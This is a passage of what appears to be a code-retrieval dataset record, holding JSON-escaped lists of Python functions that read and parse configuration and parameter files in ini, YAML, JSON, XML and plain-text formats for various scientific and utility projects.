parseAll=True)\n except (ParseException, ParseSyntaxException) as e:\n print(\"ERROR: {m}\".format(m=str(e)))\n sys.exit(1)\n return result","def read_settings():\n # open file for reading\n ifile = open(infilename, 'r')\n # skip comment line\n ifile.readline()\n # char-file name\n line = ifile.readline()\n line = line.split()\n charfile = line[-1]\n # header-file name\n line = ifile.readline()\n line = line.split()\n headerfile = line[-1]\n # output folder\n line = ifile.readline()\n line = line.split()\n ofname = line[-1]\n # length of the filaments\n line = ifile.readline()\n line = line.split()\n nfil = int(line[-1])\n # number of snapshots to skip\n line = ifile.readline()\n line = line.split()\n nskip = int(line[-1])\n # number of bins\n line = ifile.readline()\n line = line.split()\n nbin = int(line[-1])\n # maximum cutoff\n line = ifile.readline()\n line = line.split()\n rmax = float(line[-1])\n # overall number of snapshots to use in the analysis\n line = ifile.readline()\n line = line.split()\n ntotal = int(line[-1])\n # close file\n ifile.close()\n # return input values\n return charfile, headerfile, ofname, nfil, nskip, nbin, rmax, ntotal","def parse_config(config):\n if '' in config['servers']:\n config['servers'].remove('')\n if 'localhost' not in config['servers']:\n config['servers'].append('localhost')\n\n config['old_event_age'] = str_to_seconds(config['old_event_age'])\n config['future_event_age'] = str_to_seconds(config['future_event_age'])\n config['associate_interval'] = str_to_seconds(config['associate_interval'])\n config['max_trigger_wait'] = str_to_seconds(config['max_trigger_wait'])\n\n boxes = OrderedDict()\n for key, value in config['boxes'].items():\n coords = [float(x) for x in value.split(',')]\n mag = coords.pop(0)\n # The config is in lat, lon order, but wee want lon, lat\n # so we do the odd indices first\n coords2 = list(zip(coords[1::2], coords[0::2]))\n coords2.append(coords2[0])\n boxes[key] = {'mag': mag, 'poly': Polygon(coords2)}\n config['boxes'] = boxes\n\n repeats = {}\n for key, value in config['repeats'].items():\n tlist = [str_to_seconds(x) for x in value]\n repeats[float(key)] = tlist\n config['repeats'] = repeats\n\n return config","def read_ini(ini_file): \n project = ''\n bd_analysis_time = bd_interval_time = '' \n bd_ripper_analysis_time = bd_ripper_interval_time = '' \n dvd_analysis_time = dvd_interval_time = '' \n file_analysis_time = file_interval_time = '' \n bd_path = dvd_path = file_path = ''\n bd_path_mac = dvd_path_mac = file_path_mac = ''\n params_dict = {}\n \n if os.path.exists(ini_file): \n try:\n config = ConfigParser.ConfigParser()\n config.readfp(open(ini_file))\n except Exception, e:\n initlog('failed to read ini file; %s' % str(e)) \n else: \n try:\n project = (config.get('Project', 'project')) \n bd_analysis_time = int(config.get('BD/3Dcopy','analysis time')) \n bd_interval_time = int(config.get('BD/3Dcopy','interval time')) \n bd_ripper_analysis_time = int(config.get('BD/3Dcopy','ripper analysis time')) \n bd_ripper_interval_time = int(config.get('BD/3Dcopy','ripper interval time')) \t\t\t\t\n dvd_analysis_time = int(config.get('DVD/DVDcopy','analysis time')) \n dvd_interval_time = int(config.get('DVD/DVDcopy','interval time'))\n file_analysis_time = int(config.get('FILE','analysis time')) \n file_interval_time = int(config.get('FILE','interval time'))\n bd_path = config.get('BD/3Dcopy','bd_path')\n dvd_path = config.get('DVD/DVDcopy', 'dvd_path')\n file_path = config.get('FILE','file_path')\n bd_path_mac = config.get('BD/3Dcopy','bd_path_mac')\n dvd_path_mac = config.get('DVD/DVDcopy', 'dvd_path_mac')\n file_path_mac = config.get('FILE','file_path_mac')\n except Exception, e:\n initlog('read ini file error; %s' % str(e))\n else:\n initlog('dvdfab_auto_tool.ini file does not exist')\n params_dict[\"project\"] = project\n params_dict[\"bd_analysis_time\"] = bd_analysis_time\n params_dict[\"bd_interval_time\"] = bd_interval_time\n params_dict[\"bd_ripper_analysis_time\"] = bd_ripper_analysis_time\n params_dict[\"bd_ripper_interval_time\"] = bd_ripper_interval_time\n params_dict[\"dvd_analysis_time\"] = dvd_analysis_time\n params_dict[\"dvd_interval_time\"] = dvd_interval_time\n params_dict[\"file_analysis_time\"] = file_analysis_time\n params_dict[\"file_interval_time\"] = file_interval_time\n params_dict[\"bd_path\"] = bd_path\n params_dict[\"dvd_path\"] = dvd_path\n params_dict[\"file_path\"] = file_path\n params_dict[\"bd_path_mac\"] = bd_path_mac\n params_dict[\"dvd_path_mac\"] = dvd_path_mac\n params_dict[\"file_path_mac\"] = file_path_mac\n return params_dict\n return project, bd_analysis_time, bd_interval_time, bd_ripper_analysis_time, bd_ripper_interval_time, dvd_analysis_time, dvd_interval_time, file_analysis_time, file_interval_time, bd_path, dvd_path, file_path,bd_path_mac,dvd_path_mac,file_path_mac","def parse_config(self, file):\n try:\n self.logger.debug(\"parsing config file: {}\".format(file))\n config = configparser.ConfigParser()\n config.read(file)\n self._blizzard_clientid = config['blizzard']['blizzard_clientid']\n self._blizzard_clientsecret = config['blizzard']['blizzard_clientsecret']\n self._token_filename = config['blizzard']['token_filename']\n except Exception as e:\n self.logger.error('Exception reading config from: {}'.Format(file))\n self.logger.error(str(e))\n raise","def process_qrange_file(filename):\n\n f = open(filename, 'r')\n q_ranges = yaml.load(f)\n\n return q_ranges","def get_options(self):\n options = dict()\n while True:\n line = self.rfile.readline().decode(\"utf8\").strip()\n if not line:\n break\n self.log.debug(\"Got line: %s\", line)\n if \":\" not in line:\n self.log.debug(\"Invalid option: %s\", line)\n error_msg = \"header not in 'Name: value' format\"\n raise oa.errors.InvalidOption(error_msg)\n name, value = line.split(\":\", 1)\n options[name.lower()] = value.strip()\n return options","def __parse(self, to_parse):\n path = Path(to_parse)\n if not path.exists():\n raise FileNotFoundError(f\"Configuration file {path.absolute()} not found.\")\n else:\n with path.open() as file:\n data = json.load(file)\n\n if \"name\" not in data:\n raise AssertionError(f\"Missing fundamental parameter: name\")\n Validator(\n [\n (data[\"name\"], str),\n (data[\"include\"] if \"include\" in data else {}, dict),\n (data[\"modules\"] if \"modules\" in data else [], list),\n ]\n )\n # Input parsing\n if \"include\" in data:\n name = data[\"name\"]\n data = self.validate_include(data[\"include\"])\n data[\"name\"] = name\n elif \"modules\" not in data:\n raise AssertionError(\"No modules neither includes are defined.\")\n\n if \"args\" in data:\n Validator().dict(data[\"args\"])\n self.__get_modules(data)","def readConfig():\n hosts = []\n domains = []\n with open(\"./host.conf\", \"r\") as fd:\n for line in fd.readlines():\n line = line.strip().split()\n if line != []:\n # Parse config for zone files and hosts\n if line[0] == \"ZONE_FILE:\":\n zoneFile = line[1]\n if line[0] == \"REVERSE_ZONE_FILE:\":\n reverseZoneFile = line[1]\n if line[0] == \"HOST:\":\n hosts.append((line[1], line[2], line[3]))\n if line[0] == \"DOMAIN:\":\n domains.append((line[1], line[2], line[3]))\n\n return zoneFile, reverseZoneFile, hosts, domains","def __get_configurations(self):\n for sect in self.file_parser.sections():\n cascade_list = []\n if self.file_parser.has_option(sect, 'cascade'):\n enabled = self.file_parser.get(sect, 'enabled')\n # pylint: disable = E1103\n optimp_list = self.file_parser.get(sect, 'cascade').split(',')\n # pylint: enable = E1103\n for cascade_str in optimp_list:\n cascade_list.append(tuple(cascade_str.split(':')))\n # pylint: disable = E1103\n lower_enabled = enabled.lower()\n # pylint: enable = E1103\n if lower_enabled in ['true', 'always']:\n stateval = True\n else:\n stateval = False\n\n self.config_dict[sect]['enabled'] = stateval\n self.config_dict[sect]['cascade_list'] = cascade_list"],"string":"[\n \"def parseConfig(self, filename):\\n parameters = {}\\n try:\\n f = open(filename)\\n except Exception as inst:\\n print(type(inst))\\n print(inst.args)\\n print(inst)\\n print('cannot open', filename)\\n raise\\n else:\\n for line in f:\\n # Remove text after comment character.\\n if self.comment_char in line:\\n line, comment = line.split(self.comment_char,\\n 1) # Split on comment character, keep only the text before the character\\n\\n # Find lines with parameters (param=something)\\n if self.param_char in line:\\n parameter, value = line.split(self.param_char, 1) # Split on parameter character\\n parameter = parameter.strip() # Strip spaces\\n value = value.strip()\\n parameters[parameter] = value # Store parameters in a dictionary\\n\\n f.close()\\n\\n return parameters\",\n \"def parse_config(self):\\n # TODO: parse config file\\n pass\",\n \"def get_config_params(config_file_name=\\\"config\\\\import.ini\\\"):\\n\\n configParser=configparser.ConfigParser()\\n configfile=config_file_name\\n configfile_path=os.path.abspath(configfile)\\n configParser.read(configfile_path)\\n # READING INI FILE\\n #db params\\n db_params=dict()\\n db_params['user']=configParser.get('DB','pangaea_db_user')\\n db_params['pwd']=configParser.get('DB','pangaea_db_pwd')\\n db_params['db']=configParser.get('DB','pangaea_db_db')\\n db_params['host']=configParser.get('DB','pangaea_db_host')\\n db_params['port']=configParser.get('DB','pangaea_db_port')\\n #terminologies\\n terminologies_params=configParser.get('INPUT','terminologies') # parameters for each terminology as JSON str\\n terminologies_params_parsed=json.loads(terminologies_params)\\n\\n return db_params,terminologies_params_parsed\",\n \"def get_range_info(self):\\n with open(self.range_path, 'r') as _file:\\n for line in _file.readlines():\\n list0 = line.strip().split('-')\\n range_dict = {\\n 'min': int(list0[0], 16),\\n 'max': int(list0[1], 16),\\n 'max_offset': int(list0[1], 16) - int(list0[0], 16),\\n }\\n self.ranges.append(range_dict)\",\n \"def read_cfg(file):\\n result = []\\n if isfile(file):\\n with open(file) as f:\\n cfg = json.load(f)\\n for entry in cfg:\\n if \\\"start\\\" in entry:\\n filter = (entry[\\\"start\\\"], entry.get(\\\"end\\\", None))\\n result.append(filter)\\n return result\",\n \"def _read_parameter_file():\\n if not os.path.exists(\\\"./config.txt\\\"):\\n raise FileNotFoundError(\\\"Can't find the configuration file \\\"\\n \\\"./config.txt\\\")\\n\\n required = ['compiler_suite', 'project_name', 'scratch_path',\\n 'specfem_root', 'lasif_path', 'iteration_name']\\n\\n # Read parameters into dictionary.\\n parameters = {}\\n file = open(\\\"./config.txt\\\", \\\"r\\\")\\n for line in file:\\n if line.startswith(\\\"#\\\"):\\n continue\\n fields = line.split()\\n parameters.update({fields[0]: fields[1]})\\n\\n # Ensure all parameters are there.\\n for param in required:\\n if param not in parameters.keys():\\n raise ParameterError(\\\"Parameter \\\" + param + \\\" not in parameter \\\"\\n \\\"file\\\")\\n\\n # Build full paths.\\n parameters['scratch_path'] = os.path.abspath(parameters['scratch_path'])\\n parameters['specfem_root'] = os.path.abspath(parameters['specfem_root'])\\n parameters['lasif_path'] = os.path.abspath(parameters['lasif_path'])\\n\\n # Derived parameters.\\n forward_stage_dir = os.path.join(\\n parameters['scratch_path'],\\n parameters['project_name'])\\n forward_run_dir = os.path.join(\\n forward_stage_dir,\\n parameters['iteration_name'])\\n lasif_scratch_path = os.path.join(\\n parameters['scratch_path'],\\n os.path.basename(\\n parameters['lasif_path']))\\n\\n # Get list of all event names.\\n try:\\n iteration_xml_path = os.path.join(\\n parameters['lasif_path'],\\n 'ITERATIONS',\\n 'ITERATION_%s.xml' %\\n (parameters['iteration_name']))\\n tree = ET.parse(iteration_xml_path)\\n except:\\n iteration_xml_path = os.path.join(\\n lasif_scratch_path,\\n 'ITERATIONS',\\n 'ITERATION_%s.xml' %\\n (parameters['iteration_name']))\\n tree = ET.parse(iteration_xml_path) \\n \\n root = tree.getroot()\\n event_list = []\\n for name in root.findall('event'):\\n for event in name.findall('event_name'):\\n event_list.append(event.text)\\n\\n parameters.update({'forward_stage_dir': forward_stage_dir})\\n parameters.update({'forward_run_dir': forward_run_dir})\\n parameters.update({'iteration_xml_path': iteration_xml_path})\\n parameters.update({'event_list': sorted(event_list)})\\n parameters.update({'lasif_scratch_path': lasif_scratch_path})\\n\\n return parameters\",\n \"def parse_config_file(config_file : str) -> dict:\\n try:\\n config = ConfigParser()\\n config.read(config_file)\\n\\n params = {\\n \\\"config_file\\\" : config_file,\\n \\\"microservice_port\\\" : \\\"0\\\",\\n \\\"loopback_nr\\\" : \\\"10\\\",\\n \\\"loopback_name\\\" : \\\"Fakewebcam\\\",\\n \\\"loopback_exclusive\\\" : \\\"1\\\",\\n \\\"pid\\\" : \\\"/var/run/fakewebcam.pid\\\",\\n }\\n\\n params[\\\"config_file\\\"] = os.path.realpath(config_file)\\n params[\\\"microservice_port\\\"] = config[\\\"bodypix\\\"][\\\"service_port\\\"]\\n params[\\\"loopback_nr\\\"] = os.path.basename(config[\\\"loopback\\\"][\\\"device\\\"]).split(\\\"video\\\")[1]\\n params[\\\"loopback_name\\\"] = config[\\\"loopback\\\"][\\\"name\\\"]\\n params[\\\"loopback_exclusive\\\"] = config[\\\"loopback\\\"][\\\"exclusive_caps\\\"]\\n params[\\\"pid\\\"] = config[\\\"daemon\\\"][\\\"pid\\\"]\\n\\n return params\\n except Exception as e:\\n print(\\\"ERROR: {}: {}\\\".format(config_file, e))\\n exit(1)\",\n \"def getParams(self):\\n self.logger.info(\\\"Getting All Params from config file.\\\")\\n self.params = {}\\n for interface in self.config.get('agent', 'interfaces'):\\n params = self.params.setdefault(interface, {})\\n for item in [['intf_reserve', 1000], ['intf_max', 10000], ['l3enabled', True]]:\\n if self.config.has_option(interface, item[0]):\\n params[item[0]] = self.config.get(interface, item[0])\\n else:\\n params[item[0]] = item[1]\\n # Take out reserved from intf_max\\n self.params[interface]['intf_max'] -= self.params[interface]['intf_reserve']\",\n \"def f_read_adr_parameters_from_txt_file(parameters_file):\\n dict = {}\\n file = open(parameters_file, \\\"r\\\")\\n for line in file:\\n if line.strip().startswith('#') or line.strip().startswith('Parameter'):\\n pass\\n else:\\n line = line.strip().replace(' ', '').split(',')\\n if line[0] == 'ADR_mode': dict[\\\"operation_mode_num\\\"] = line[1]\\n if line[0] == 'FFT_size': dict[\\\"FFT_size_samples\\\"] = line[1]\\n if line[0] == 'Averaged_spectra': dict[\\\"spectra_averaging\\\"] = line[1]\\n if line[0] == 'Start_freq_line': dict[\\\"start_line_freq\\\"] = line[1]\\n if line[0] == 'Width_freq_lines': dict[\\\"width_line_freq\\\"] = line[1]\\n if line[0] == 'CLC_source': dict[\\\"clock_source\\\"] = line[1]\\n if line[0] == 'Sum_diff_mode': dict[\\\"sum_diff_mode_num\\\"] = line[1]\\n if line[0] == 'Dif_delay': dict[\\\"chan_diff_delay\\\"] = line[1]\\n if line[0] == 'File_size': dict[\\\"data_file_size\\\"] = line[1]\\n\\n return dict\",\n \"def parse_config(config_file):\\n\\n conf = {}\\n config = configparser.ConfigParser()\\n valid_schedule = r'\\\\d{1,2}:\\\\d{2}(:\\\\d{2})*\\\\s+[AM|PM]'\\n \\n #configparser does not throw exception (empty dataset if files are not found)\\n if(len(config.read(config_file)) == 0):\\n raise FileNotFoundError(\\\"Failed to find config file\\\")\\n\\n\\n conf['credentials'] = {\\\"username\\\": config['credentials']['username'], \\\"password\\\": config['credentials']['password']}\\n conf['hashtags'] = [hashtag for hashtag in config['hashtags'].values()]\\n conf['schedule'] = [time.upper() for time in config['schedule'].values() if re.search(valid_schedule,time, re.IGNORECASE)]\\n conf['driverpath'] = config['driver']['path']\\n\\n return conf\",\n \"def parse_config(file):\\n\\n # dictionaries specifying required parameters for various modules\\n general = [\\\"tube_number\\\", \\\"tube_radius\\\", \\\"collision_objects_filename\\\"]\\n optimizers = {\\\"nelder_mead\\\": [\\\"optimizer_precision\\\", \\\"optimize_iterations\\\"]}\\n solvers = {\\\"rrt\\\": [\\\"step_bound\\\", \\\"iteration_number\\\",\\n \\\"tube_lengths\\\", \\\"single_tube_control\\\", \\\"rotation_max\\\"],\\n \\\"rrt_star\\\": [\\\"step_bound\\\", \\\"iteration_number\\\", \\\"tube_lengths\\\", \\\"rotation_max\\\"]}\\n models = {\\\"kinematic\\\": [\\\"q_dof\\\", \\\"delta_x\\\", \\\"tube_lengths\\\", \\\"strain_bases\\\"],\\n \\\"static\\\": [\\\"q_dof\\\", \\\"delta_x\\\", \\\"tube_lengths\\\", \\\"strain_bases\\\",\\n \\\"basis_type\\\", \\\"degree\\\"]}\\n heuristics = {\\\"square_obstacle_avg_plus_weighted_goal\\\": [\\\"goal_weight\\\"],\\n \\\"only_goal_distance\\\": [],\\n \\\"follow_the_leader\\\": [\\\"only_tip\\\"],\\n \\\"follow_the_leader_w_insertion\\\": [\\\"only_tip\\\", \\\"insertion_weight\\\"],\\n \\\"follow_the_leader_translation\\\": [\\\"only_tip\\\"]}\\n\\n # groups together the required parameter dictionaries\\n dictionaries = {\\\"optimizer\\\": optimizers, \\\"solver\\\": solvers,\\n \\\"model\\\": models, \\\"heuristic\\\": heuristics}\\n\\n # dictionary detailing all of the default parameter values\\n defaults = {\\\"optimizer_type\\\": \\\"nelder_mead\\\",\\n \\\"solver_type\\\": \\\"rrt\\\",\\n \\\"model_type\\\": \\\"kinematic\\\",\\n \\\"heuristic_type\\\": \\\"square_obstacle_avg_plus_weighted_goal\\\",\\n \\\"tube_number\\\": 2,\\n \\\"tube_radius\\\": [3, 2],\\n \\\"collision_objects_filename\\\": \\\"init_objects.json\\\",\\n \\\"optimizer_precision\\\": 0.1,\\n \\\"step_bound\\\": 3,\\n \\\"tube_lengths\\\": [60, 50],\\n \\\"iteration_number\\\": 2000,\\n \\\"rewire_probability\\\": 0.1,\\n \\\"goal_weight\\\": 2,\\n \\\"q_dof\\\": [1, 1],\\n \\\"delta_x\\\": 1,\\n \\\"single_tube_control\\\": True,\\n \\\"optimize_iterations\\\": 50,\\n \\\"only_tip\\\": True,\\n \\\"insertion_weight\\\": 10,\\n \\\"strain_bases\\\": [\\\"constant\\\", \\\"constant\\\"],\\n \\\"basis_type\\\": \\\"last_strain_base\\\",\\n \\\"degree\\\": 2,\\n \\\"rotation_max\\\": 0.1745\\n }\\n\\n with file.open(mode='r') as fid:\\n config = yaml.full_load(fid)\\n\\n if config is None: # for empty config file\\n config = dict()\\n\\n for g in general:\\n if g not in config:\\n config[g] = defaults.get(g)\\n print(f\\\"{g} not specified in {file.name}. Using default value \\\"\\n f\\\"{defaults.get(g)} instead.\\\")\\n\\n _config_helper(\\\"optimizer_type\\\", optimizers, config, file.name, defaults)\\n _config_helper(\\\"solver_type\\\", solvers, config, file.name, defaults)\\n _config_helper(\\\"model_type\\\", models, config, file.name, defaults)\\n _config_helper(\\\"heuristic_type\\\", heuristics, config, file.name, defaults)\\n\\n config_validation(config)\\n\\n return config, dictionaries\",\n \"def processConfigFile(configFilePath):\\n\\tret0 = [];\\n\\tret1 = [];\\n\\te = xml.etree.ElementTree.parse(configFilePath).getroot();\\n\\tfor entry in e:\\n\\t\\tif entry.tag == 'calibration_parameter':\\n\\t\\t\\tthisDict = {};\\n\\t\\t\\tthisDict['keys'] = [];\\n\\t\\t\\tfor item in entry:\\n\\t\\t\\t\\tif item.tag == ('name' or 'description'):\\n\\t\\t\\t\\t\\tthisDict[item.tag] = item.text;\\n\\t\\t\\t\\telif item.tag == 'keys':\\n\\t\\t\\t\\t\\tthisKeys = [];\\n\\t\\t\\t\\t\\tkeyNum = int(item.attrib['number']);\\n\\t\\t\\t\\t\\tfor keyIndex in range(keyNum):\\n\\t\\t\\t\\t\\t\\tthisKeys.append(item[keyIndex].text);\\n\\t\\t\\t\\t\\tthisDict['keys'].append(thisKeys);\\n\\t\\t\\t\\telif item.tag == 'range':\\n\\t\\t\\t\\t\\tthisRange = [None, None];\\n\\t\\t\\t\\t\\tfor rangeIndex in range(2):\\n\\t\\t\\t\\t\\t\\tif item[rangeIndex].tag == 'max':\\n\\t\\t\\t\\t\\t\\t\\tthisRange[0] = float(item[rangeIndex].text);\\n\\t\\t\\t\\t\\t\\telif item[rangeIndex].tag == 'min':\\n\\t\\t\\t\\t\\t\\t\\tthisRange[1] = float(item[rangeIndex].text);\\n\\t\\t\\t\\t\\tthisDict['range'] = thisRange;\\n\\t\\t\\tret0.append(thisDict);\\n\\t\\tif entry.tag == 'output':\\n\\t\\t\\tthisDict = {};\\n\\t\\t\\tfor item in entry:\\n\\t\\t\\t\\tif item.tag == 'name' or 'description':\\n\\t\\t\\t\\t\\tthisDict[item.tag] = item.text;\\n\\t\\t\\t\\tif item.tag == 'keys':\\n\\t\\t\\t\\t\\tthisKeys = [];\\n\\t\\t\\t\\t\\tkeyNum = int(item.attrib['number']);\\n\\t\\t\\t\\t\\tfor keyIndex in range(keyNum):\\n\\t\\t\\t\\t\\t\\tthisKeys.append(item[keyIndex].text);\\n\\t\\t\\t\\t\\tthisDict[item.tag] = thisKeys;\\n\\t\\t\\tret1.append(thisDict);\\n\\n\\treturn (ret0, ret1);\",\n \"def read_params(filename=DEFAULT_INPUT_CFG_FILE, iface=DEFAULT_IFACE):\\n params = {}\\n params['iface'] = iface\\n with open(filename) as streamfile:\\n for line in streamfile:\\n (key, val) = line.split('=')\\n key = key.strip()\\n val = val.strip()\\n if key in ('vlan', 'totpkts', 'pps', 'l2payload_size'):\\n assert val.isdigit()\\n val = int(val)\\n if key in ('inc_srcmac', 'inc_dstmac', 'inc_vlan'):\\n assert val.lower() == 'yes' or val.lower() == 'no'\\n val = bool(val.lower() == 'yes')\\n params[key] = val\\n return params\",\n \"def _parse_config(self, config_path=None):\\n # Configurable parameters\\n config_param = {\\n 'elements': [\\n 'NUM_BLUE',\\n 'NUM_RED',\\n 'NUM_BLUE_UAV',\\n 'NUM_RED_UAV',\\n 'NUM_GRAY',\\n 'NUM_BLUE_UGV2',\\n 'NUM_RED_UGV2',\\n 'NUM_BLUE_UGV3',\\n 'NUM_RED_UGV3',\\n 'NUM_BLUE_UGV4',\\n 'NUM_RED_UGV4'],\\n 'control': [\\n 'CONTROL_ALL',\\n 'MAX_STEP',\\n 'RED_STEP',\\n 'RED_DELAY',\\n 'BLUE_ADV_BIAS',\\n 'RED_ADV_BIAS'],\\n 'communication': [\\n 'COM_GROUND',\\n 'COM_AIR',\\n 'COM_DISTANCE',\\n 'COM_FREQUENCY'],\\n 'memory': [\\n 'INDIV_MEMORY',\\n 'TEAM_MEMORY',\\n 'RENDER_INDIV_MEMORY',\\n 'RENDER_TEAM_MEMORY'],\\n 'settings': [\\n 'RL_SUGGESTIONS',\\n 'STOCH_TRANSITIONS',\\n 'STOCH_TRANSITIONS_EPS',\\n 'STOCH_TRANSITIONS_MOD',\\n 'STOCH_ATTACK',\\n 'STOCH_ATTACK_BIAS',\\n 'STOCH_ZONES',\\n 'RED_PARTIAL',\\n 'BLUE_PARTIAL',\\n 'MAP_MODE',\\n 'MAP_POOL_SIZE'],\\n 'experiments': [\\n 'RENDER_ENV_ONLY',\\n 'SAVE_BOARD_RGB',\\n 'SAVE_BLUE_OBS',\\n 'SAVE_RED_OBS',\\n 'SILENCE_RENDER',\\n 'RESPAWN_FLAG',\\n 'RESPAWN_AGENT_DEAD',\\n 'RESPAWN_AGENT_AT_FLAG']}\\n config_datatype = {\\n 'elements': [\\n int, int, int ,int, int, int, int,\\n int, int, int, int],\\n 'control': [bool, int, int, int, int, int, int, int],\\n 'communication': [bool, bool, int, int],\\n 'memory': [str, str, bool, bool],\\n 'settings': [\\n bool, bool, float, str,\\n bool, int, bool, bool, bool, str, int],\\n 'experiments': [bool, bool, bool, bool, bool, bool, bool, bool]}\\n\\n if config_path is None and self.config_path is not None:\\n # Maintain previous configuration\\n return\\n assert os.path.isfile(config_path), 'Configuration file does not exist'\\n self.config_path = config_path\\n config = configparser.ConfigParser()\\n config.read(config_path)\\n\\n # Set environment attributes\\n for section in config_param:\\n for option, datatype in zip(config_param[section], config_datatype[section]):\\n if not config.has_section(section) or not config.has_option(section, option):\\n if hasattr(self, option):\\n continue\\n else:\\n raise KeyError('Configuration import fails: double check whether all config variables are included')\\n if datatype is bool:\\n value = config.getboolean(section, option)\\n elif datatype is int:\\n value = config.getint(section, option)\\n elif datatype is float:\\n value = config.getfloat(section, option)\\n elif datatype is str:\\n value = config.get(section, option)\\n else:\\n raise Exception('Unsupported datatype')\\n setattr(self, option, value)\",\n \"def readParamFromFile(self, file, sect):\\r\\n f = configparser.ConfigParser()\\r\\n f.read(file)\\r\\n # s = f.sections()\\r\\n # print(s)\\r\\n\\r\\n self.m_param = dict(f.items(sect))\\r\\n print(self.m_param)\\r\\n # print(len(self.m_param))\\r\",\n \"def importParameterBoundaryFile(paramfilename):\\n try:\\n infile = open(paramfilename, \\\"r\\\")\\n except IOError:\\n\\t print \\\"Unable to open file %s\\\" % (paramfilename)\\n\\t raise IOError(\\\"Unable to open parameter boundary file %s\\\" % (paramfilename))\\n lines = infile.readlines()\\n infile.close()\\n\\n # Parse\\n paramdict = {}\\n for line in lines:\\n line = line.strip()\\n if len(line) == 0:\\n continue\\n elif line[0] == '#':\\n continue\\n else:\\n terms = line.split()\\n name = terms[0]\\n value = float(terms[1])\\n parmin = float(terms[2])\\n parmax = float(terms[3])\\n stepsize = float(terms[4])\\n \\n paramdict[name] = [value, parmin, parmax, stepsize]\\n # ENDIF\\n # ENDFOR\\n\\n return paramdict\",\n \"def parseconfig_se(cfile):\\n cdict = {}\\n f = open(cfile,'r')\\n lines = f.readlines()\\n for l in lines:\\n a = string.split(l)\\n if len(a) > 0:\\n if a[0][0] != '#':\\n maxi = len(a)\\n for i in range(1,len(a)):\\n if a[i][0] == '#':\\n maxi = i\\n break\\n # Turn comma-separated lists into python lists\\n entry = []\\n for e in a[1:maxi]:\\n if string.find(e,','):\\n entry = entry + string.split(e,',')\\n else:\\n entry = entry + [e]\\n cdict[a[0]] = entry\\n return cdict\",\n \"def parse_scan_args(file_path: str) -> dict:\\n log = ess_factory(fullpath=file_path, check_for_errors=False)\\n scan_args = {'scan': None, 'freeze': [],\\n 'step': 0, 'step_size': 0, 'n_atom': 0}\\n if isinstance(log, GaussianLog):\\n try:\\n # g09, g16\\n scan_blk = parse_str_blocks(file_path, 'The following ModRedundant input section has been read:',\\n 'Isotopes and Nuclear Properties', regex=False)[0][1:-1]\\n except IndexError: # Cannot find any block\\n # g03\\n scan_blk_1 = parse_str_blocks(file_path, 'The following ModRedundant input section has been read:',\\n 'GradGradGradGrad', regex=False)[0][1:-2]\\n scan_blk_2 = parse_str_blocks(file_path, 'NAtoms=',\\n 'One-electron integrals computed', regex=False)[0][:1]\\n scan_blk = scan_blk_1 + scan_blk_2\\n scan_pat = r'[DBA]?(\\\\s+\\\\d+){2,4}\\\\s+S\\\\s+\\\\d+[\\\\s\\\\d.]+'\\n frz_pat = r'[DBA]?(\\\\s+\\\\d+){2,4}\\\\s+F'\\n value_pat = r'[\\\\d.]+'\\n for line in scan_blk:\\n if re.search(scan_pat, line.strip()):\\n values = re.findall(value_pat, line)\\n scan_len = len(values) - 2 # atom indexes + step + stepsize\\n scan_args['scan'] = [int(values[i]) for i in range(scan_len)]\\n scan_args['step'] = int(values[-2])\\n scan_args['step_size'] = float(values[-1])\\n if re.search(frz_pat, line.strip()):\\n values = re.findall(value_pat, line)\\n scan_args['freeze'].append([int(values[i]) for i in range(len(values))])\\n if 'NAtoms' in line:\\n scan_args['n_atom'] = int(line.split()[1])\\n else:\\n raise NotImplementedError(f'parse_scan_args() can currently only parse Gaussian output '\\n f'files, got {log}')\\n return scan_args\",\n \"def get_allowed_ranges(csvfile):\\n from csv import DictReader\\n ranges = {}\\n with open(csvfile, 'r') as infile:\\n # Remove spaces from field headers\\n firstline = infile.readline()\\n headers = [k.strip() for k in firstline.split(',')]\\n if not len(headers) == 11:\\n headers = [k.strip() for k in firstline.split(' ')]\\n opfield = 'CSVv2;OperatingPoint'\\n if not opfield in headers: opfield = 'cMVAv2;OperatingPoint'\\n if not opfield in headers: opfield = 'CSV;OperatingPoint'\\n\\n reader = DictReader(infile, fieldnames=headers)\\n for row in reader:\\n key = (int(row[opfield].strip()),\\n row['measurementType'].strip(),\\n row['sysType'].strip(),\\n int(row['jetFlavor'].strip()))\\n ranges.setdefault(key, {})\\n for var in ['eta', 'pt', 'discr']:\\n mini = float(row['%sMin'%var].strip())\\n maxi = float(row['%sMax'%var].strip())\\n ranges[key]['%sMin'%var] = min(ranges[key].setdefault('%sMin'%var, mini), mini)\\n ranges[key]['%sMax'%var] = max(ranges[key].setdefault('%sMax'%var, maxi), maxi)\\n return ranges\",\n \"def process_config(config_file=''):\\n if not config_file:\\n config_file = os.path.join(os.path.dirname(os.path.abspath(__file__)), \\\"config\\\")\\n config = configparser.ConfigParser()\\n config.read(config_file)\\n config_dict = {}\\n for section in config.sections():\\n config_dict[section] = {name: value for name, value in config.items(section)}\\n return config_dict\",\n \"def _parse(self, content):\\n os.environ['ASTER_VERSION_DIR'] = self.dirn\\n cfg = {}\\n self._content = content\\n for l in split_endlines(self._content):\\n if not re.search('^[ ]*#', l):\\n try:\\n typ, nam, ver, val = l.split('|')\\n #print '========>', typ, '//', nam, '//', ver, '//', val\\n typ = re.sub('^[ ]*', '', re.sub('[ ]*$', '', typ)).strip()\\n val = re.sub('^[ ]*', '', re.sub('[ ]*$', '', val)).strip()\\n if val != '':\\n val = osp.expandvars(val)\\n if cfg.has_key(typ):\\n cfg[typ].append(val)\\n else:\\n cfg[typ] = [val]\\n except ValueError:\\n pass\\n return cfg\",\n \"def _get_params_ranges(task: str,) -> Dict[str, Any]:\\n params_file = os.path.join(\\n os.path.dirname(__file__), \\\"params\\\", \\\"xgboost.yml\\\"\\n )\\n params = utils.read_yaml(params_file)\\n\\n if \\\"regression\\\" in task.lower():\\n params.update({\\\"objective\\\": \\\"reg:squarederror\\\"})\\n return params\\n if \\\"binary\\\" in task.lower():\\n params.update({\\\"objective\\\": \\\"binary:logistic\\\"})\\n return params\\n raise ValueError(f\\\"{task} is not a supported task.\\\")\",\n \"def parse_data_config(path):\\n cfg = dict()\\n cfg['gpus'] = '0,1,2,3'\\n cfg['num_workers'] = '10'\\n \\n with open(path, 'r') as fp:\\n lines = fp.readlines()\\n for line in lines:\\n line = line.strip()\\n if line == '' or line.startswith('#'):\\n continue\\n key, value = line.split('=')\\n cfg[key.strip()] = value.strip()\\n \\n return cfg\",\n \"def get_params(param_file_path):\\n\\n config = ConfigParser.SafeConfigParser()\\n config.read(param_file_path)\\n\\n # Get \\\"raw\\\" dictionaries from `config` object\\n raw_params = dict(config.items('general'))\\n 